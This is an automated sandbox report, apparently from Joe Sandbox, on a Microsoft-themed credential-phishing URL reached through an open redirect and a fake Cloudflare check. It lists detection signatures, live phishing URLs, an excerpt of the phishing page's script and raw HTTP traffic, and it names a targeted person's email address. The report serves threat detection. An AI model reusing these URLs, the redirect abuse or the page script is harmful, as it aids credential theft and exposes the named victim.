Edit tour

Windows Analysis Report
https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org

Overview

General Information

Sample URL:	https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antib
Analysis ID:	1498089
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish10

Detected use of open redirect vulnerability

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Phishing site or detected (based on various text indicators)

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,398591596935151455,854942371807318749,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
9.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
9.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://4quqe.oustfemin.com/pqpqRMJ4f8kf8yzq5wjwx36	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/rqMByta/	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/34tXF5vOTwPWG7ghRSTWNCY8U9mB4O89110	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/abPMvyMi4BP6pqRcd30	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/90BwLzMpuCNIPc12Bxo7mGwVuU4yz71	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/wxv021dpND9JZ2cUC61vV93UbPenOmnGW9KTt4y2I1KAPGXDeab180	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/eftGLBWu8OUJRb0dwkGNkbppjbuklsvH9IfHP7yQ0ZroZwJMFEez378146	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/12euAqDcdlIORfF6720	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/ijTLp2CToreFE8klRPbyfp7yzX8kad8OQ49Wh538NV5jvMGQmA56170	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/nz2XauxEJD6GOWIsNGbmhsISqkHYGospXOJ06xJDflJxNYAMTIpSqdz	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/cd4G6HI3Ijg6dT2j134OjSKyPSpkkl94	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/45BUs76lI5VisV6D7NxeT90YLF5l4Exy70	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/rqMByta/?PMKirsten.stevens@sueryder.org	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/wx9uKr77gZUwOw0J3Z7hyOplopIHnVHZGF7vPJq34130	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/12zn8d0uaFJ78HnWlT1iop49	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/ijPcVEeSmCWpySyuFQYrrGLm25YHKajvsXLAqraImEwhmVt1OeTi6J3V3vyz230	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/rixZQ7i49HVQDFkT2K9BP2jQTFXOnXx5i81o7o	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/stBwujdhO6eh5XBwTCurWnvkflh7maBUZIfifTNdRbYO27678wxfwlS9pRZp8trrCi8ZQ2Vef260	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/rsYhvroAIArkSYfucuHoMsxdZ0ghDjdWp1MVKJoCKLd9cd193	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/ghegLAzFMXs8vAxA6sos58qgvJiOtXNmn6kZs6KFfeZUS2NgZBRU12205	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/56cgfpYt7Gg84zQmfk45CqywRSAPguv56	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/ops0dzO1sQtluDIzM8DgPT4dyRUHfrRWMQGo6jgW12jF6nk7DHlM8Qvwgp5QX1Bbzcd239	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/opQcARUgS4Ali3TwsyZ6W0TNTwSBamnbjs1v05DL5rgoqWAuL45140	Avira URL Cloud: Label: phishing
Source: https://4quqe.oustfemin.com/favicon.ico	Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 9.5.pages.csv, type: HTML
Source: Yara match	File source: 9.6.pages.csv, type: HTML

Detected use of open redirect vulnerability

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Proxy from: job555.info/st-manager/click/track?id=3834&type=raw&url=https://4quqe.oustfemin.com/rqmbyta/ to https://4quqe.oustfemin.com/rqmbyta/

Phishing site detected (based on image similarity)

Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Matcher: Template: microsoft matched

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 4.4

OCR Text: Verifying v. CLOUDFLARE Ten-ns Microsoft

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

HTTP Parser: var websitenames = ["godaddy", "okta"];var capnum = 1;var appnum = 1;var view = "";var pagelinkval = "wnfqhr";var emailcheck = "kirsten.stevens@sueryder.org";var webname = "rtrim(/web8/, '/')";var urlo = "nz2xauxejd6gowisngbmhsisqkhygospxoj06xjdfljxnyamtipsqdz";var gdf = "ghuspzs2pyfngnjqijuwxahzaogz0pillxlgvab120";var odf = "ghpzkqp7wvpqvfbv42tlhzw5mbcwxuvnffnv4noey3ab643";var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";let useragent = navigator.useragent;let browsername;let userip;let usercountry;var errorcodeexecuted = false;if(useragent.match(/chrome|chromium|crios/i)){ browsername = "chrome";} else if(useragent.match(/firefox|fxios/i)){ browsername = "firefox";} else if(useragent.match(/safari/i)){ browsername = "safari";} else if(useragent.match(/opr\//i)){ browsername = "opera";} else if(useragent.match(/edg/i)){ browsername = "edge";} else{ browsername="no browser detection";}function encryptdata(data) { cons...

HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/

HTTP Parser: Base64 decoded: {"version":3,"sourceRoot":"/cfsetup_build/src/orchestrator/turnstile/templates","sources":["turnstile.scss"],"names":[],"mappings":"AAmCA;EACI;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI;IAEI;;EAGJ;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI...

HTTP Parser: Title: Zg24zPteXf1ZYp0n does not match URL

Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: Invalid link: Terms of use
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: Invalid link: Privacy & cookies
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: Invalid link: Terms of use
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: Invalid link: Privacy & cookies

HTTP Parser: <input type="password" .../> found

Source: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/#Kirsten.stevens+sueryder.org	HTTP Parser: No favicon
Source: https://4quqe.oustfemin.com/rqMByta/#MKirsten.stevens@sueryder.org	HTTP Parser: No favicon
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: No favicon
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: No favicon

Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: No <meta name="author".. found
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: No <meta name="author".. found

Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: No <meta name="copyright".. found
Source: https://4quqe.oustfemin.com/UBEEARDRFZBLCIYKXAUWBWRAHOCMNEGDQH2433266666869621683651896985349085yhwb2tjkdd31cqa3v86btzc56cuaqwuv36?guhzhqadixxzzfhbiawieewvbiufnckvcamtf392tn15ul1pchape2e3xncc1p6b0d	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49827 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: job555.info to https://4quqe.oustfemin.com/rqmbyta/

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.159.71

Source: global traffic	HTTP traffic detected: GET /ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot HTTP/1.1Host: app.supercast.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /asdbhewjcjfnjernfreddbecje/cloudflare-antibot HTTP/1.1Host: nursematte.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /asdbhewjcjfnjernfreddbecje/cloudflare-antibot/ HTTP/1.1Host: nursematte.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nursematte.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nursematte.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://nursematte.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bbf6dd949c43b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nursematte.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bbf6dd949c43b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: nursematte.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8b7bbf6dd949c43b/1724422877780/3daea570a2e63ba95387280ed31743c52ff1e67b798d44b16121e60fe86f7483/XounNr_iHCHjsvj HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8b7bbf6dd949c43b/1724422877786/uHR2yhc274LAQhN HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
